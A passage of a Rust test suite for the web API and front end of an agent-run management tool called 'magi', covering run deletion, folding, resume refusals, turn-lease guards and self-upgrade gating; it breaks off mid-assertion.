13854            verified_noop: None,
13855            duration_ms: 0,
13856            folded: false,
13857        });
13858        let dir2 = runs.join(run_unfolded);
13859        std::fs::create_dir_all(&dir2).expect("create dir2");
13860        std::fs::write(
13861            dir2.join("run.json"),
13862            serde_json::to_string(&state2).unwrap(),
13863        )
13864        .expect("write run.json");
13865
13866        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13867        assert_eq!(res.status, 409);
13868        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13869        assert!(dir2.exists(), "unfolded run directory is kept");
13870
13871        // 4. Missing id returns 404
13872        let res = fx.delete("/api/runs/nonexistent").await;
13873        assert_eq!(res.status, 404);
13874    }
13875
13876    /// The queue tiles on the Stats tab must render even on a home with no
13877    /// runs at all: queue state is not derived from run history, so hiding
13878    /// the whole dashboard body behind "no runs yet" would drop the one
13879    /// thing this tab promises unconditionally (queued/running/held/done).
13880    /// A DOM-level test would need a browser this suite does not have, so
13881    /// this pins the same invariant textually: `renderStatsQueue` is called
13882    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
13883    /// block that gates the run-derived panels.
13884    #[test]
13885    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13886        let start = APP_JS
13887            .find("function renderStats() {")
13888            .expect("renderStats");
13889        let end = start
13890            + APP_JS[start..]
13891                .find("function statsTile(")
13892                .expect("the next top-level function");
13893        let body = &APP_JS[start..end];
13894
13895        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13896        let gate_end = gate_start
13897            + body[gate_start..]
13898                .find("}\n  renderStatsQueue")
13899                .expect("the gate's own closing brace, right before the unconditional call");
13900        let gated = &body[gate_start..gate_end];
13901
13902        assert_eq!(
13903            body.matches("renderStatsQueue(").count(),
13904            1,
13905            "renderStats must call renderStatsQueue exactly once: {body}"
13906        );
13907        assert!(
13908            !gated.contains("renderStatsQueue"),
13909            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13910             run-derived panels on an empty run history - the queue panel has to render \
13911             regardless: {gated}"
13912        );
13913    }
13914
13915    #[test]
13916    fn web_ui_delete_contract_in_front_end() {
13917        // 1. API block has both delete endpoints
13918        assert!(APP_JS.contains("deleteRun:"));
13919        assert!(APP_JS.contains("deleteTask:"));
13920
13921        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
13922        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13923            ..APP_JS.find("function renderRuns").unwrap()];
13924        assert!(!run_cards_slice.to_lowercase().contains("delete"));
13925
13926        // 3. Run detail has delete entry and reasons
13927        assert!(APP_JS.contains("renderRunDelete"));
13928        assert!(APP_JS.contains("runDeleteReason"));
13929        assert!(APP_JS.contains("magi fold"));
13930        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13931
13932        // 4. Two-step delete arming and focus on Cancel
13933        assert!(APP_JS.contains("cancel.focus"));
13934        assert!(APP_JS.contains("armedRunDelete"));
13935        assert!(APP_JS.contains("renderTaskDeleteBox"));
13936        assert!(APP_JS.contains("armed${cap(key)}"));
13937
13938        // 5. Running task has disabled delete
13939        assert!(APP_JS.contains("disabled: status === \"running\""));
13940    }
13941
13942    /// Every element a run card's updater reaches for must be in the `refs`
13943    /// the builder handed it.
13944    ///
13945    /// `createRunCard` builds its elements, appends them to the card, and then
13946    /// lists them again in `row.refs`. That second list is the one the updater
13947    /// uses, and nothing connects the two - an element can be built, appended
13948    /// and rendered, and still be missing from `refs`. `superseded` was, for
13949    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
13950    /// exception took `syncList` with it, and the deck showed
13951    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
13952    /// line is computed before the cards, which is why the failure looked like
13953    /// a server that had lost its runs rather than a front end that had
13954    /// stopped rendering them.
13955    ///
13956    /// A `cargo test` cannot execute the front end, so this reads the two
13957    /// halves out of the source and compares them as sets. It is not a check
13958    /// on the wording of either list: adding an element, renaming one, or
13959    /// reordering them all keeps this passing, and only using one the builder
13960    /// never published fails it.
13961    #[test]
13962    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13963        let build = APP_JS
13964            .find("function createRunCard")
13965            .expect("createRunCard exists");
13966        let update = APP_JS
13967            .find("function updateRunCard")
13968            .expect("updateRunCard exists");
13969        let end = APP_JS
13970            .find("function renderRuns")
13971            .expect("renderRuns exists");
13972
13973        // The builder's published set: the object literal assigned to `refs`.
13974        let builder = &APP_JS[build..update];
13975        let open = builder.find("refs = {").expect("createRunCard sets refs");
13976        let literal = &builder[open + "refs = {".len()..];
13977        let close = literal.find('}').expect("the refs literal is closed");
13978        let published: HashSet<&str> = literal[..close]
13979            .split(',')
13980            // `name` and `name: value` both bind `name`.
13981            .filter_map(|entry| entry.split(':').next())
13982            .map(str::trim)
13983            .filter(|name| !name.is_empty())
13984            .collect();
13985        assert!(
13986            published.len() > 5,
13987            "the refs literal did not parse into names: {published:?}"
13988        );
13989
13990        // What the updaters reach for: every `r.<name>`, where `r` is the
13991        // `const r = row.refs` alias both functions open with.
13992        let mut used: Vec<&str> = Vec::new();
13993        let updaters = &APP_JS[update..end];
13994        for (at, _) in updaters.match_indices("r.") {
13995            // `r` must be the whole identifier, not the tail of another one
13996            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
13997            let before = updaters[..at].chars().next_back();
13998            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13999                continue;
14000            }
14001            let rest = &updaters[at + 2..];
14002            let len = rest
14003                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14004                .unwrap_or(rest.len());
14005            if len > 0 {
14006                used.push(&rest[..len]);
14007            }
14008        }
14009        assert!(
14010            used.len() > 5,
14011            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14012        );
14013
14014        let missing: Vec<&str> = used
14015            .iter()
14016            .copied()
14017            .filter(|name| !published.contains(name))
14018            .collect();
14019        assert!(
14020            missing.is_empty(),
14021            "a run card's updater reaches for {missing:?}, which `createRunCard` \
14022             never put in `refs` - every card will throw and the list will \
14023             render empty under a count line that says otherwise. Published: \
14024             {published:?}"
14025        );
14026    }
14027
14028    #[tokio::test]
14029    async fn folding_from_the_phone_reports_what_it_removed() {
14030        let fx = Fixture::start().await;
14031        let runs = fx.runs();
14032
14033        // A run with no candidates has nothing to fold, which is a 200 with an
14034        // honest count rather than an error: the operator asked for the trees
14035        // to be gone and they are.
14036        let id = "20260901-000000-fold";
14037        write_run(&runs, id, RunStatus::Stalled);
14038        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14039        assert_eq!(res.status, 200);
14040        assert_eq!(res.json()["removed_count"], 0);
14041        assert_eq!(res.json()["run"], id);
14042        assert!(
14043            runs.join(id).exists(),
14044            "a fold keeps the run's record; only the worktrees go"
14045        );
14046    }
14047
14048    #[tokio::test]
14049    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14050        let fx = Fixture::start().await;
14051        let runs = fx.runs();
14052        let wt = fx.home.path().join("wt").join("magi").join("dead");
14053        let id = "20260901-000000-dead";
14054        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14055        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14056        std::fs::create_dir_all(&wt).expect("worktree dir");
14057
14058        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14059        assert_eq!(res.status, 200, "{}", res.body);
14060        assert!(
14061            res.json()["removed_count"].as_u64().unwrap() > 0,
14062            "the worktree this build could not read a state for still went"
14063        );
14064        assert!(
14065            !runs.join(id).exists(),
14066            "an unreadable run has no candidate list to fold selectively, so \
14067             the whole record goes - same as `magi fold` on the CLI"
14068        );
14069    }
14070
14071    #[tokio::test]
14072    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14073        let fx = Fixture::start().await;
14074        let runs = fx.runs();
14075        let wt = fx.home.path().join("wt").join("magi").join("gone");
14076        let id = "20260901-000000-gone";
14077        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14078        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14079        std::fs::create_dir_all(&wt).expect("worktree dir");
14080
14081        let res = fx.delete(&format!("/api/runs/{id}")).await;
14082        assert_eq!(res.status, 204, "{}", res.body);
14083        assert!(!runs.join(id).exists(), "the broken record is gone");
14084        assert!(!wt.exists(), "its worktree is gone too");
14085    }
14086
14087    #[tokio::test]
14088    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14089        let fx = Fixture::start().await;
14090        let runs = fx.runs();
14091        let id = "20260901-000000-live";
14092        write_run(&runs, id, RunStatus::Implementing);
14093
14094        let mut beat = crate::daemon::Status::new();
14095        beat.current = vec![crate::daemon::Current {
14096            task: "20260901-000000-task".to_owned(),
14097            run: id.to_owned(),
14098        }];
14099        beat.updated_at = jiff::Timestamp::now();
14100        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14101            .expect("publish a heartbeat");
14102
14103        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14104        assert_eq!(res.status, 409);
14105        assert!(
14106            res.json()["error"]
14107                .as_str()
14108                .unwrap()
14109                .contains("live daemon"),
14110            "folding under a running agent would pull its worktree away"
14111        );
14112    }
14113
14114    #[tokio::test]
14115    async fn fold_merged_requires_a_pr_url() {
14116        let fx = Fixture::start().await;
14117        let runs = fx.runs();
14118        let id = "20260901-000000-nourl";
14119        write_run(&runs, id, RunStatus::Blocked);
14120
14121        let res = fx
14122            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14123            .await;
14124        assert_eq!(res.status, 400, "{}", res.body);
14125
14126        let blank = fx
14127            .post(
14128                &format!("/api/runs/{id}/fold-merged"),
14129                Some(r#"{"pr_url":"   "}"#),
14130            )
14131            .await;
14132        assert_eq!(blank.status, 400, "{}", blank.body);
14133    }
14134
14135    #[tokio::test]
14136    async fn fold_merged_is_404_for_an_unknown_run() {
14137        let fx = Fixture::start().await;
14138        let res = fx
14139            .post(
14140                "/api/runs/nosuchrun/fold-merged",
14141                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14142            )
14143            .await;
14144        assert_eq!(res.status, 404, "{}", res.body);
14145    }
14146
14147    #[tokio::test]
14148    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14149        let fx = Fixture::start().await;
14150        let runs = fx.runs();
14151        let id = "20260901-000000-livemerge";
14152        write_run(&runs, id, RunStatus::Blocked);
14153
14154        let mut beat = crate::daemon::Status::new();
14155        beat.current = vec![crate::daemon::Current {
14156            task: "20260901-000000-task".to_owned(),
14157            run: id.to_owned(),
14158        }];
14159        beat.updated_at = jiff::Timestamp::now();
14160        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14161            .expect("publish a heartbeat");
14162
14163        let res = fx
14164            .post(
14165                &format!("/api/runs/{id}/fold-merged"),
14166                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14167            )
14168            .await;
14169        assert_eq!(res.status, 409, "{}", res.body);
14170        assert!(
14171            res.json()["error"]
14172                .as_str()
14173                .unwrap()
14174                .contains("live daemon"),
14175            "correcting a run's merge underneath a running agent would race \
14176             whatever it is doing to the same `status`/`merge` fields"
14177        );
14178    }
14179
14180    /// A pull request `gh` cannot even ask about (no such remote, no such
14181    /// repository) must never be recorded as a merge on a guess - the same
14182    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14183    /// command line, reached here through the phone route instead.
14184    #[tokio::test]
14185    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14186        let fx = Fixture::start().await;
14187        let runs = fx.runs();
14188        let id = "20260901-000000-unconfirmed";
14189        write_run(&runs, id, RunStatus::Blocked);
14190
14191        let res = fx
14192            .post(
14193                &format!("/api/runs/{id}/fold-merged"),
14194                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14195            )
14196            .await;
14197        assert_eq!(res.status, 400, "{}", res.body);
14198        assert_eq!(
14199            read_run(&runs, id).unwrap().status,
14200            RunStatus::Blocked,
14201            "a pull request that could not be confirmed merged must leave \
14202             the run exactly where it was"
14203        );
14204    }
14205
14206    #[tokio::test]
14207    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14208        let fx = Fixture::start().await;
14209        let runs = fx.runs();
14210
14211        // Only a finished run and a failed one. An *interrupted* run - a
14212        // parked one, or one whose daemon was killed mid-node - is the case
14213        // resuming exists for: run 4043 sat at `reviewing` with the deck
14214        // saying it could not be resumed, which was the one state where
14215        // resuming was the only sensible answer.
14216        for (status, word) in [
14217            (RunStatus::Merged, "merged"),
14218            (RunStatus::Ready, "ready"),
14219            (RunStatus::Failed, "failed"),
14220        ] {
14221            let id = format!("20260901-000000-{}", &word[..4]);
14222            write_run(&runs, &id, status);
14223            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14224            assert_eq!(res.status, 409, "{word} must not be resumable");
14225            let err = res.json()["error"].as_str().unwrap().to_owned();
14226            assert!(err.contains(word), "the refusal names the status: {err}");
14227        }
14228
14229        // And an interrupted run is accepted: 202, with the resume running in
14230        // the background. `Runner::resume` fails immediately here - the
14231        // fixture's run points at a repository that does not exist - which is
14232        // the point: the handler must not wait for it to find out.
14233        let mid = "20260901-000000-midf";
14234        write_run(&runs, mid, RunStatus::Reviewing);
14235        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14236        assert_eq!(res.status, 202, "an interrupted run is resumable");
14237    }
14238
14239    #[tokio::test]
14240    async fn resume_is_refused_while_the_loop_is_running() {
14241        let fx = Fixture::start().await;
14242        let runs = fx.runs();
14243        let stalled = "20260901-000000-stal";
14244        write_run(&runs, stalled, RunStatus::Stalled);
14245
14246        // The loop is busy with a *different* run, and that is still a
14247        // refusal: a manual resume must never race whatever the loop itself
14248        // is already driving, whether that is one run or several.
14249        let mut beat = crate::daemon::Status::new();
14250        beat.current = vec![crate::daemon::Current {
14251            task: "20260901-000000-task".to_owned(),
14252            run: "20260901-000000-othr".to_owned(),
14253        }];
14254        beat.updated_at = jiff::Timestamp::now();
14255        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14256            .expect("publish a heartbeat");
14257
14258        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14259        assert_eq!(res.status, 409);
14260        let err = res.json()["error"].as_str().unwrap().to_owned();
14261        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14262        assert!(err.contains("stop it first"), "{err}");
14263    }
14264
14265    #[test]
14266    fn a_run_cannot_be_resumed_twice_at_once() {
14267        let home = TempDir::new().expect("temp home");
14268        let ui = Ui::new(
14269            Queue::at(home.path().join("queue")),
14270            Questions::at(home.path().join("questions")),
14271            Talks::at(home.path().join("talks")),
14272            home.path().join("runs"),
14273            home.path().to_path_buf(),
14274            PathBuf::from("/repo"),
14275        )
14276        .with_worktrees_root(home.path().join("wt"));
14277        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14278        let again = ui.begin_resume("20260901-000000-once");
14279        assert!(again.is_err(), "a second tap must not start a second graph");
14280        drop(first);
14281        assert!(
14282            ui.begin_resume("20260901-000000-once").is_ok(),
14283            "and the claim is released when the attempt ends"
14284        );
14285    }
14286
14287    #[test]
14288    fn talk_thinking_tracks_only_its_held_turn_claim() {
14289        let home = TempDir::new().expect("temp home");
14290        let ui = Ui::new(
14291            Queue::at(home.path().join("queue")),
14292            Questions::at(home.path().join("questions")),
14293            Talks::at(home.path().join("talks")),
14294            home.path().join("runs"),
14295            home.path().to_path_buf(),
14296            PathBuf::from("/repo"),
14297        )
14298        .with_worktrees_root(home.path().join("wt"));
14299        let id = "20260901-000000-once";
14300
14301        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14302        let turn = ui.begin_talk_turn(id).expect("claim turn");
14303        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14304        assert!(
14305            !ui.is_thinking("20260901-000000-other"),
14306            "one talk's turn does not make another talk busy"
14307        );
14308        drop(turn);
14309        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14310    }
14311
14312    #[test]
14313    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14314        let home = TempDir::new().expect("temp home");
14315        let talks = Talks::at(home.path().join("talks"));
14316        let ui = Ui::new(
14317            Queue::at(home.path().join("queue")),
14318            Questions::at(home.path().join("questions")),
14319            talks.clone(),
14320            home.path().join("runs"),
14321            home.path().to_path_buf(),
14322            PathBuf::from("/repo"),
14323        )
14324        .with_worktrees_root(home.path().join("wt"));
14325        let id = "20260901-000000-cross";
14326
14327        let other = Talks::at(home.path().join("talks"))
14328            .claim_turn(id)
14329            .expect("claim")
14330            .expect("the other process wins");
14331        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14332        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14333        assert!(
14334            matches!(
14335                ui.begin_talk_turn_unless_pending(id).expect("start"),
14336                TalkTurnStart::Foreign
14337            ),
14338            "a foreign holder is refused, not queued behind"
14339        );
14340        assert!(
14341            !ui.talk_turns.lock().unwrap().live.contains(id),
14342            "a refused claim leaves no in-process entry behind"
14343        );
14344        drop(other);
14345        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14346        assert!(talks.turn_held(id), "the web turn holds the lease");
14347        drop(turn);
14348        assert!(
14349            !talks.turn_held(id),
14350            "dropping the guard releases the lease"
14351        );
14352    }
14353
14354    #[test]
14355    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14356        let home = TempDir::new().expect("temp home");
14357        let talks = Talks::at(home.path().join("talks"));
14358        let ui = Ui::new(
14359            Queue::at(home.path().join("queue")),
14360            Questions::at(home.path().join("questions")),
14361            talks.clone(),
14362            home.path().join("runs"),
14363            home.path().to_path_buf(),
14364            PathBuf::from("/repo"),
14365        )
14366        .with_worktrees_root(home.path().join("wt"));
14367        let id = "20260901-000000-order";
14368        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14369        // Hold the slot mutex so the drop can finish the lease but not the slot.
14370        let slots = ui.talk_turns.lock().unwrap();
14371        let dropper = std::thread::spawn(move || drop(turn));
14372        let start = std::time::Instant::now();
14373        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14374            std::thread::sleep(Duration::from_millis(5));
14375        }
14376        assert!(!talks.turn_held(id), "the lease is released first");
14377        assert!(slots.live.contains(id), "the slot is still held meanwhile");
14378        drop(slots);
14379        dropper.join().expect("join");
14380        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14381    }
14382
14383    #[tokio::test]
14384    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14385        let fx = Fixture::start().await;
14386        // Somebody else's `magi serve` owns the queue. Replacing this binary
14387        // would leave that process running an old one against the same
14388        // claims, which is worse than refusing.
14389        let mut beat = crate::daemon::Status::new();
14390        beat.pid = 4321;
14391        beat.updated_at = jiff::Timestamp::now();
14392        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14393            .expect("publish a heartbeat");
14394
14395        let res = fx.post("/api/upgrade", None).await;
14396        assert_eq!(res.status, 409);
14397        let err = res.json()["error"].as_str().unwrap().to_owned();
14398        assert!(err.contains("4321"), "the refusal names the owner: {err}");
14399        assert!(err.contains("old one against the same queue"), "{err}");
14400    }
14401
14402    /// [`should_spawn_recheck`] must refuse for the same two reasons
14403    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
14404    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
14405    /// Purely a predicate over config and the environment - no network, no
14406    /// disk, no runtime - so unlike the fixture-based tests around it this
14407    /// one needs neither.
14408    #[test]
14409    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14410        assert!(!should_spawn_recheck(&crate::config::Update {
14411            mode: UpdateMode::Off,
14412            interval: None,
14413        }));
14414
14415        // SAFETY: single-threaded as far as this variable goes, the same
14416        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14417        unsafe {
14418            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14419        }
14420        let killed = should_spawn_recheck(&crate::config::Update {
14421            mode: UpdateMode::Notify,
14422            interval: None,
14423        });
14424        unsafe {
14425            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14426        }
14427        assert!(
14428            !killed,
14429            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14430             one-time startup check"
14431        );
14432
14433        assert!(should_spawn_recheck(&crate::config::Update {
14434            mode: UpdateMode::Notify,
14435            interval: None,
14436        }));
14437    }
14438
14439    /// [`recheck_poll_period`] must track a configured `[update] interval`
14440    /// shorter than its own default ceiling - a fixed sleep here would leave
14441    /// an operator's short interval waiting on the next wake-up instead of on
14442    /// `should_check`, which is the same bug this whole task exists to fix,
14443    /// just one level down.
14444    #[test]
14445    fn recheck_poll_period_tracks_a_short_configured_interval() {
14446        let short = crate::config::Update {
14447            mode: UpdateMode::Notify,
14448            interval: Some("1m".to_owned()),
14449        };
14450        let period = recheck_poll_period(&short);
14451        assert!(
14452            period <= Duration::from_secs(30),
14453            "a one-minute interval must wake the task far sooner than the \
14454             default ceiling, or the deck would not notice within the \
14455             interval the operator configured: got {period:?}"
14456        );
14457
14458        let default = crate::config::Update {
14459            mode: UpdateMode::Notify,
14460            interval: None,
14461        };
14462        assert_eq!(
14463            recheck_poll_period(&default),
14464            UPDATE_RECHECK_POLL_MAX,
14465            "the default day-long interval should poll at the (capped) \
14466             ceiling rather than needlessly often"
14467        );
14468    }
14469
14470    /// [`update_recheck_due`] must not repeat a check made moments ago, the
14471    /// same throttle `updater::Checker::should_check` already gives the
14472    /// CLI's notify mode. Built over an explicit state file via
14473    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
14474    /// write the operator's real `last_update_check.json` - and therefore
14475    /// cannot flake on whatever that file happens to say on the machine
14476    /// running the test.
14477    #[test]
14478    fn recheck_skips_the_network_before_the_interval_elapses() {
14479        let dir = TempDir::new().expect("temp dir");
14480        let path = dir.path().join("state.json");
14481        let state = kaishin::UpdateCheckState {
14482            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14483            last_known_latest: None,
14484            last_known_url: None,
14485        };
14486        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14487
14488        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14489        assert!(
14490            !update_recheck_due(&checker, None),
14491            "a check made moments ago must not be repeated before the \
14492             configured interval elapses"
14493        );
14494    }
14495
14496    /// An upgrade this deck already started must not be raced by a recheck
14497    /// that discovers a newer release mid-install - regardless of what
14498    /// `should_check` says, which is why the state file here is missing
14499    /// entirely: read alone, that alone would answer "never checked, go
14500    /// ahead".
14501    #[test]
14502    fn recheck_defers_to_an_upgrade_already_in_flight() {
14503        let dir = TempDir::new().expect("temp dir");
14504        let path = dir.path().join("state.json");
14505        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14506        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14507
14508        assert!(
14509            !update_recheck_due(&checker, Some(&progress)),
14510            "a recheck must not run while an upgrade this deck started is \
14511             still moving"
14512        );
14513    }
14514
14515    #[tokio::test]
14516    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14517        // The same env var the background check honours (`disabled_by_env`)
14518        // must also stop a button press before it ever calls
14519        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
14520        // means "never contact GitHub from this process", and a tap on the
14521        // upgrade button must not override that any more than a broken
14522        // `magi.toml` may. Left unset, this fixture's default config would
14523        // otherwise reach a real, unauthenticated GitHub call.
14524        //
14525        // SAFETY: single-threaded as far as this variable goes - nothing else
14526        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
14527        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
14528        unsafe {
14529            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14530        }
14531        let fx = Fixture::start().await;
14532        let res = fx.post("/api/upgrade", None).await;
14533        unsafe {
14534            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14535        }
14536        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14537        let body = res.json();
14538        assert!(body["to"].is_null(), "there was no release to move to");
14539        assert!(body["parked"].is_null(), "and nothing was parked");
14540        assert!(
14541            body["detail"]
14542                .as_str()
14543                .unwrap()
14544                .contains("disabled by MAGI_NO_AUTOUPDATE"),
14545            "{body:?}"
14546        );
14547    }
14548
14549    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14550        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14551        p.stage = stage;
14552        p
14553    }
14554
14555    #[test]
14556    fn busy_stages_match_the_ui_set() {
14557        use crate::updater::Stage;
14558        assert!(APP_JS.contains(
14559            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14560        ));
14561        for s in [
14562            Stage::Downloading,
14563            Stage::Replaced,
14564            Stage::Parking,
14565            Stage::Restarting,
14566        ] {
14567            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14568        }
14569        for s in [Stage::Done, Stage::Failed] {
14570            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14571        }
14572        assert!(upgrade_in_motion(None).is_none());
14573    }
14574
14575    #[tokio::test]
14576    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14577        use crate::updater::Stage;
14578        for stage in [
14579            Stage::Downloading,
14580            Stage::Replaced,
14581            Stage::Parking,
14582            Stage::Restarting,
14583        ] {
14584            let fx = Fixture::start().await;
14585            let seeded = seeded_progress(stage);
14586            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14587            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14588                .expect("read");
14589
14590            let res = fx.post("/api/upgrade", None).await;
14591            assert_eq!(res.status, 409, "{stage:?}");
14592            let err = res.json()["error"].as_str().unwrap().to_owned();
14593            assert!(err.contains("already in progress"), "{err}");
14594            assert!(err.contains(stage.as_str()), "{err}");
14595
14596            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14597                .expect("read");
14598            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14599            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14600                .unwrap_or_default();
14601            assert!(!log.contains("signalling HANDOVER"), "{log}");
14602        }
14603    }
14604
14605    #[tokio::test]
14606    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14607        use crate::updater::Stage;
14608        let repo = TempDir::new().expect("repo dir");
14609        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14610            .expect("write magi.toml");
14611        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14612        for stage in [Stage::Done, Stage::Failed] {
14613            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14614            let res = fx.post("/api/upgrade", None).await;
14615            assert_eq!(res.status, 200, "{stage:?}");
14616        }
14617        // No record at all, and the gate was released by the earlier calls.
14618        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14619        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14620    }
14621
14622    #[tokio::test]
14623    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14624        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
14625        // and the route answers from its own logic.
14626        //
14627        // This test used to lean on the fixture's placeholder repo failing
14628        // config discovery, which left `mode = "notify"` - and a live,
14629        // unauthenticated call to the GitHub releases API inside a unit test.
14630        // GitHub allows 60 of those an hour per address, so the suite went red
14631        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
14632        // long as somebody kept re-running it: every attempt spent another
14633        // request. Six reruns across four pull requests were charged to that
14634        // before it was read as a rate limit rather than a flake.
14635        //
14636        // What the assertion is about is the "already current" branch, which
14637        // is reached by there being no newer release *or* nowhere to look. The
14638        // second one needs no network and cannot be rate limited.
14639        let repo = TempDir::new().expect("repo dir");
14640        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14641            .expect("write magi.toml");
14642        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14643
14644        // It must answer 200 and leave the process alone: restarting for an
14645        // upgrade that did not happen parks the run in flight and drops every
14646        // connection to pay for nothing. A probe against a deck already on the
14647        // newest build did exactly that, which is how this case got its own
14648        // branch.
14649        let res = fx.post("/api/upgrade", None).await;
14650        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14651        let body = res.json();
14652        assert!(body["to"].is_null(), "there was no release to move to");
14653        assert!(body["parked"].is_null(), "and nothing was parked");
14654        assert!(
14655            body["detail"]
14656                .as_str()
14657                .unwrap()
14658                .contains("nothing restarted"),
14659            "{body:?}"
14660        );
14661    }
14662
14663    #[tokio::test]
14664    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14665        // `mode = "off"` for the same reason as the test above: a default
14666        // fixture repo falls back to `mode = "notify"`, which would make this
14667        // route's new `update` field a live, unauthenticated GitHub call on
14668        // every assertion in this suite that happens to hit `/api/health`.
14669        let repo = TempDir::new().expect("repo dir");
14670        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14671            .expect("write magi.toml");
14672        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14673
14674        let health = fx.get("/api/health").await.json();
14675        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14676        assert_eq!(
14677            health["update"]["available"], false,
14678            "checking is off, which reads as \"unknown\", not \"none\""
14679        );
14680        assert!(health["update"]["to"].is_null());
14681        assert!(
14682            health["upgrade"].is_null(),
